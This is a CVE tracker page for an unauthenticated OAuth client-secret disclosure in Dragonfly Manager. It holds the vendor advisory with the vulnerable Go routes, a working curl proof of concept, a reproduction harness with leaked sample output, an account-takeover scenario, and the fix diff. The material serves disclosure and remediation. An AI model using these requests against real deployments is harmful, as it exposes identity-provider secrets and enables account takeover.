Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify Manager REST port 8080
-
DeliverySend unauthenticated GET /api/v1/oauth
-
ExploitExtract client_secret from JSON response
-
ExecutionConstruct malicious OAuth redirect using stolen credentials
-
PersistHarvest user authorization codes
-
ImpactExchange code and secret for IdP access token
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The two vulnerable endpoints (GET /api/v1/oauth and GET /api/v1/oauth/:id) require no authentication and no special headers - any HTTP client that can reach the Dragonfly Manager on its REST port satisfies the access requirement. The sole application-level precondition is that an administrator has previously registered at least one OAuth provider via the authenticated POST /api/v1/oauth endpoint; a fresh Manager deployment with no registered providers returns an empty list with no sensitive data. The Manager REST port (8080/tcp) is bound to all interfaces (0.0.0.0) by default in the project's docker-compose.yaml and Helm chart, meaning external network exposure depends solely on whether a firewall or load-balancer restricts ingress. In Kubernetes deployments with an internal-only ClusterIP Service, exploitation is limited to in-cluster attackers (compromised pods, sidecars, or CI runners with cluster API access) - network-policy filtering reduces but does not eliminate this threat. The feature flag limiting exploitation is OAuth provider registration: tenants that have never enabled GitHub or Google sign-in have no secret to disclose. |
| Impact | The attack vector is fully remote and unauthenticated (PR:N, AV:N, AC:L per the assessed vector), and the proof-of-concept is a single curl command - barrier to exploitation is near zero for any attacker with network access to port 8080/tcp. Real-world risk is moderated by three factors: (1) Dragonfly Manager is typically deployed in internal Kubernetes environments rather than on the public internet; (2) the advisory itself states the OAuth sign-in feature is 'not actually used in practice within the Dragonfly project itself,' meaning many deployments may have no OAuth providers registered and thus no sensitive data to leak; and (3) impact is limited to confidentiality of OAuth credentials - there is no direct remote code execution or availability impact. However, for deployments that do use GitHub or Google OAuth sign-in, the exposed client_secret enables impersonation of the Manager application in OAuth flows and downstream account-takeover against Manager users. The prior related fix (CVE-2026-24124 / GHSA-j8hf-cp34-g4j7, January 2026) patched the /jobs group but left the parallel OAuth GET handlers unguarded, suggesting the remediation was targeted rather than systematic; this increases confidence that the vulnerability was genuinely present and not caught by existing controls. No EPSS score is available; the CVE is not listed in CISA KEV. No CVSS vector was provided by NVD or the vendor - the assessed vector below is inferred from the description and code-level analysis. |
| Exploit ScenarioDerived | An attacker with TCP access to the Dragonfly Manager's REST port (8080, exposed by default in the project's docker-compose and Helm chart on 0.0.0.0) issues a single unauthenticated GET /api/v1/oauth and receives a JSON array containing client_id, client_secret, and redirect_url for every registered OAuth provider. With the GitHub client_secret in hand, the attacker crafts a malicious OAuth authorization URL using the legitimate client_id and a lookalike redirect URI, lures a Manager user into approving it, and exchanges the resulting authorization code - together with the stolen client_secret - for an OAuth access token, achieving account-level access to the victim's GitHub identity as permitted by the Manager's OAuth scopes. A complete curl-based proof-of-concept with captured HTTP 200 output including the secret value is provided in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 02, 2026
Unauthenticated OAuth client secret disclosure in Dragonfly Manager (dragonflyoss/dragonfly <= v2.4.3) exposes GitHub and Google OAuth client_secret values to any host that can reach the Manager REST API port. The GET /api/v1/oauth and GET /api/v1/oauth/:id handlers omit the jwt.MiddlewareFunc() and RBAC middleware enforced on every other admin route group in the same router file - including the write methods (POST, DELETE, PATCH) in the same /oauth group - and the models.Oauth struct serializes ClientSecret without redaction. A detailed proof-of-concept with captured output is included in the advisory; no CISA KEV listing is present and EPSS data is unavailable.
RemediationAI
No vendor-released patched version has been independently confirmed at time of analysis; a fix exists as a private embargo fork PR at https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1. The vendor-proposed fix has two parts: move jwt.MiddlewareFunc() and rbac to the group level for the /oauth router group in manager/router/router.go (mirroring the pattern used by every other admin group in the file), and add json:"-" to the ClientSecret field in manager/models/oauth.go to prevent serialization even if a future routing regression occurs. Until a patched release ships, operators should apply the following specific compensating controls. First, restrict network access to port 8080/tcp on the Dragonfly Manager to explicitly trusted source CIDRs via firewall rules or Kubernetes NetworkPolicy - this eliminates external attacker access but does not protect against in-cluster threats. Second, if GitHub or Google OAuth sign-in is not actively in use (the advisory states it is not used in the upstream project itself), remove all registered OAuth providers using authenticated DELETE /api/v1/oauth/:id requests, leaving nothing for the endpoint to disclose. Third, if OAuth providers have already been registered and the Manager port was reachable by untrusted hosts, treat the client_secret as compromised: rotate it immediately in the respective IdP settings (GitHub OAuth App page or Google Cloud Console OAuth credentials) and audit IdP access logs for unauthorized token grants. Refer to https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr for updates.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dragonfly is a CNCF-incubating P2P file distribution and container image acceleration system; its Manager component is a Go service using the gin HTTP framework to expose a REST API for cluster administration. The root cause is a missing-middleware asymmetry in manager/router/router.go (lines 134-140 in v2.4.3): the /oauth route group registers POST, DELETE, and PATCH handlers with explicit per-route jwt.MiddlewareFunc() and rbac middleware, but the two GET handlers omit both. Every sibling admin group in the same file (/clusters, /scheduler-clusters, /configs, /jobs after GHSA-j8hf-cp34-g4j7, etc.) attaches the middleware pair at group level, making all verbs uniformly guarded; the /oauth group is the sole exception. Compounding the routing gap, manager/models/oauth.go declares ClientSecret with a standard json:"client_secret" tag and no json:"-" exclusion, so gin's ctx.JSON() serializes the raw secret into every GET response. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) describes the disclosure path; CWE-306 (Missing Authentication for Critical Function) describes the absent access control. The affected Go module is pkg:go/d7y.io_dragonfly_v2.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Network-reachable unauthenticated endpoint with trivial single-request exploit; only confidentiality is impacted (full OAuth secret disclosed); no integrity or availability consequence from the disclosure itself.
Primary rating from Vendor (https://github.com/dragonflyoss/dragonfly).
CVSS VectorVendor: https://github.com/dragonflyoss/dragonfly
Lifecycle Timeline
1DescriptionCVE.org
Summary
The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.
Affected versions
github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.
Privilege required
Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).
Vulnerable code
manager/router/router.go:134-140 (v2.4.3) - the /oauth group registration:
// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.
The handler at manager/handlers/oauth.go:127-141 returns the model directly:
func (h *Handlers) GetOauth(ctx *gin.Context) {
var params types.OauthParams
if err := ctx.ShouldBindUri(¶ms); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
ctx.JSON(http.StatusOK, oauth)
}manager/handlers/oauth.go:155-171 has the parallel list handler:
func (h *Handlers) GetOauths(ctx *gin.Context) {
var query types.GetOauthsQuery
if err := ctx.ShouldBindQuery(&query); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
h.setPaginationDefault(&query.Page, &query.PerPage)
oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
ctx.JSON(http.StatusOK, oauth)
}manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:
type Oauth struct {
BaseModel
Name string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
BIO string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
ClientID string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
RedirectURL string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}How an unauthenticated request reaches the OAuth client_secret
gin.EngineroutesGET /api/v1/oauth/:idto theoagroup registered atmanager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypassesjwt.MiddlewareFunc()(which would have set or rejectedc.Get("id")) andmiddlewares.RBAC()(which would have called Casbin enforcement).- The request enters
h.GetOauth(manager/handlers/oauth.go:127), which binds the:idpath parameter and callsh.service.GetOauth. service.GetOauth(manager/service/oauth.go) doess.db.First(&oauth, id)and returns the populatedmodels.Oauth.- The handler calls
ctx.JSON(http.StatusOK, oauth). TheClientSecretfield is serialized asclient_secretin the response body.
There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.
Proof of concept
# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
# has been registered via the authenticated POST /api/v1/oauth path.)
curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.toolBoth calls return HTTP 200 with a JSON body that includes client_secret.
End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)
Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:
mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
/Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).
cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
redis:
image: redis:6-alpine
container_name: dragonfly-redis
command: --requirepass dragonfly
mysql:
image: mariadb:10.6
container_name: dragonfly-mysql
environment:
- MARIADB_USER=dragonfly
- MARIADB_PASSWORD=dragonfly
- MARIADB_DATABASE=manager
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
manager:
image: dragonflyoss/manager:v2.4.3
container_name: dragonfly-manager
depends_on: [redis, mysql]
restart: on-failure
volumes:
- ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
ports:
- "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; doneBootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:
# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
-H 'Content-Type: application/json' \
-d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e \
"USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done
TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
-H 'Content-Type: application/json' \
-d '{"name":"admin","password":"adminpass123"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
curl -s -X POST http://localhost:18080/api/v1/oauth \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
"client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'Captured run output of the actual attack (unauthenticated client):
=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401
=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
{
"id": 1,
"name": "github",
"client_id": "FAKE_CLIENT_ID_abc123",
"client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
"redirect_url": ""
}
]
=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
"id": 1,
"name": "github",
"client_id": "FAKE_CLIENT_ID_abc123",
"client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
"redirect_url": ""
}Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.
Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.
Impact
- The OAuth sign-in feature is
not actually used in practice within the Dragonfly project itself. - Unauthenticated disclosure of OAuth
client_secretfor GitHub / Google providers. Aclient_secretpermits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL. - The same row also exposes
client_idandredirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow. - Tenants who exposed the Manager's REST port (
8080/tcp, default in the project'sdocker-compose.yamland Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).
Suggested fix
Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.
--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
- oa := apiv1.Group("/oauth")
- oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
- oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
- oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
- oa.GET(":id", h.GetOauth)
- oa.GET("", h.GetOauths)
+ oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+ oa.POST("", h.CreateOauth)
+ oa.DELETE(":id", h.DestroyOauth)
+ oa.PATCH(":id", h.UpdateOauth)
+ oa.GET(":id", h.GetOauth)
+ oa.GET("", h.GetOauths)--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
- ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+ ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.
Fix PR
https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).
Workarounds
The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
Credit
Reported by tonghuaroot.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-78577
GHSA-4q9j-6299-gxmr
NVD
CVE.org
EPSS
Exploit-DB